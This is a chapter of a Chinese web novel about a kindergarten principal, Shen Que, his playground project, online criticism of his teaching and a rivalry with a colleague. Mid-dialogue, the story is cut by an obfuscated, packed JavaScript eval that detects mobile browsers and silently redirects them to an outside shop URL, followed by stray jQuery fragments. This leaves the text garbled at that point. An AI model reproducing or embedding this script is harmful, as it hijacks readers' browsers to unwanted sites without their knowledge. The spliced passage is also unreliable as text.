“我们不熟。”
“不管熟不熟,他真的很烦人,给我制造了很多麻烦,你出面的话,多少能约束下他吧。”
伽涟没说话,沈榷自顾自走到窗子旁边,把窗户开到最大通风,收拾起了东西准备回家。
他并没有和伽涟继续共处一室的想法,毕竟两人之间没什么共同话题,继续待下去也就只是制造尴尬而已。
沈榷缓缓眨了下眼睛,没有看伽涟:“你的司机说会在门口等你,怎么锁门我也交代他了,你要是不舒服就继续休息下。”
“你不怕我乱翻你办公室的东西?”伽涟轻笑一声,他从没见过这么没有防备心的人。
沈榷耸了耸肩:“我办公室里的柜子没我的指纹不可能打得开,而且我也多多少少听说过你们家族,一个名门望族,没理由来翻我的东西,这不是给自己抹黑吗?”
伽涟哑口无言。
*
沈榷觉得自己得了一种奇怪的病,自从进了办公室之后,他的呼吸间总是会闻到一股红酒味道,问身边的人,他们谁都闻不见。
他怀疑是自己的嗅觉出了问题,去医院看妈妈的时候顺便咨询了熟识的医生。
医生给他开了一瓶抑制药,情况很快就好转了。
自那天之后,连续五天都是伽涟的助理送伽羽来学校的,沈榷再没见过伽涟。
“园长爸爸,你在想什么?脸蛋怎么这么红?”盼达趴在桌子上,和同样趴着的沈榷面对面,还伸出指头戳了戳沈榷的脸。
“我在想,旋转木马已经基本改造完成了,不知道检测会不会通过。”
今天周觉找来了检测局的人,会对翻新后的旋转木马进行大量检测,只要检测通过,安全合格,那他们就可以去坐旋转木马了。
小朋友们也同样期待着。
要把幼儿园和游乐场两者结合起来,其实并不是容易的事情,其中首要需要考虑的就是游乐场的运营花费。
一天下来,需要的费用少不了,他找沈志华简单估算了下,如果小朋友们每天使用一个游乐设施,那每天光是游乐设施所需要承受的费用就少不了。
少说一天得2000星币,游玩时间还必须严格把控。
幼儿园开始赚钱了,他手上也确实有了些闲钱,但是也绝对不能这么大手大脚。
毕竟他还欠着一屁股债。
想到这些,沈榷一个头两个大。
“不要想不开心的事情啦,我跟你缩哦,我们已经学费怎么系蝴蝶结啦~”莱恩拉起沈榷,迫不及待地想给沈榷展示大家这几天的学习成果。
谈不上好看的蝴蝶结,却深深触动着沈榷的心,让他心中升腾起一股自豪感。
小朋友的每一点成长都值得被记录,他哐哐拍了一堆照片发在了自己的社交平台上。
【好有趣的幼儿园。】
【三岁小朋友就会系鞋带了吗?真是了不起。】
【看来沈园长的这种教育方式确实很厉害啊,我都想把我家孩子送去多米了。】
【我女儿在二班,现在已经学会用沙盘写好多汉字了。】
【这有什么,隔壁光耀幼儿园的孩子也会啊。】
【啧啧啧,教育模式不同以后培养出来的孩子肯定是天差地别的,你们想想,光耀的孩子小小年纪就会拿笔写字,多米的孩子呢?只会拿着沙盘画,那能和笔写出来的一样吗?】
【同意楼上说的,孩子还是应该按照正统模式来教育,沈榷的教育方式完全是歪门邪道。】
沈榷很清楚,就算再怎么解释,这些家长也只会用自己想看到的眼光来看待教育。
如果教育是简单在纸上写几个字的事情,那人人都能成为教育学家了,还需要老师干什么呢?
他有自己的坚持,哪怕现在还没有看到成效,但是随着时间推移,这些家长迟早会明白,光耀的那套教学理念对孩子而言是多大的伤害。
“沈园长,关于网上的留言你看到了吗?我看好像很多人都对你的教学理念提出了质疑啊,你有没有想过是自己的问题?你这么固执己见,只会让这些还没开始绽放的花朵枯萎啊。”
沈榷瞥了眼门口站着的廖子初,没有说话。
那天和伽涟说的要求,对方好像完全没放在心上,廖子初依旧每天和一个神经病一样,要来他面前找不痛快。
“你怎么知道花会不会枯萎?你什么时候不好好学习教育小朋友,开始研究起种花了?”
“你是真听不懂我说的话,还是装的?老师就是园丁你不知道吗?”
“园丁?谁是园丁?”凯特转过小脑袋,头顶的小耳朵动了动。
廖子初自信一笑:“当然是我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12573191|133111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
啦,我就是园丁,而你们……”
话没有说完就被凯特打断:“廖老师原来不是老师,是园丁啊,你会种花?太好了,我家里有两盆仙人掌要死掉了,你可以告诉我原因吗?”
“我……”
“嗯?”凯特期待地看着他,但是看了两分钟了,都没见对方给出回答,失望地说,“你不会是不知道吧?这样还把自己称为园丁?”
盼达举起手说:“我知道我知道,小舅舅说过他工作的地方就有一个这样的人,什么都不懂还装懂,他说这叫半瓢水。”
“他说的园丁不是种花的。”伽羽冷不丁开口,手里的积木噼里啪啦倒了一地。
廖子初朝伽羽看过去。
他之前从没有正眼看过这些孩子,现在仔细一看才发现,伽羽和伽涟长得非常像。
这也坚定了他心中所想,伽涟和伽羽不是普通关系。
伽涟的亲戚,还为自己说话了,廖子初不知不觉就沉浸在了这层喜悦之中。
不愧是和伽涟有关系的孩子,涵养、素质和其他小孩完全不是一个层面。
“啊?不然园丁还有什么意思?”凯特问。
“园丁可以用来形容尽心负责的老师,而你们就是盛开的花朵,在老师的呵护下,健康长大。”周觉解释道。
凯特嫌弃地看了廖子初一眼:“那廖老师还真的一点都不像园丁,他基本都不会来教室里的,和园长爸爸完全不同。”
年纪还小,也许无法理解园丁的真正含义,但是他们也能分清楚谁是真正关心自己的人。
伽羽认同地点点头。
他拉过沈榷的手说:“园长老师,我昨天看了一本新书,我想和你分享。”
廖子初找到了机会,一个箭步冲上来,把沈榷和伽羽隔开,笑着说:“是什么书啊,和我分享吧,沈园长他挺忙的,还是不要缠着他了。”
伽羽看着沈榷,没有说话,在他心里,园长老师的想法更加重要。
而且他不喜欢廖老师,不知道是什么原因,就是不喜欢他。
沈榷笑笑:“伽羽看的书可能有些深奥了,如果你想听他讲看的书中的故事,那我们就一起。”
第一句话本没有必要,但他还是加上了。
原因有两个,一个是给廖子初提个醒,一个是为了看廖子初的笑话。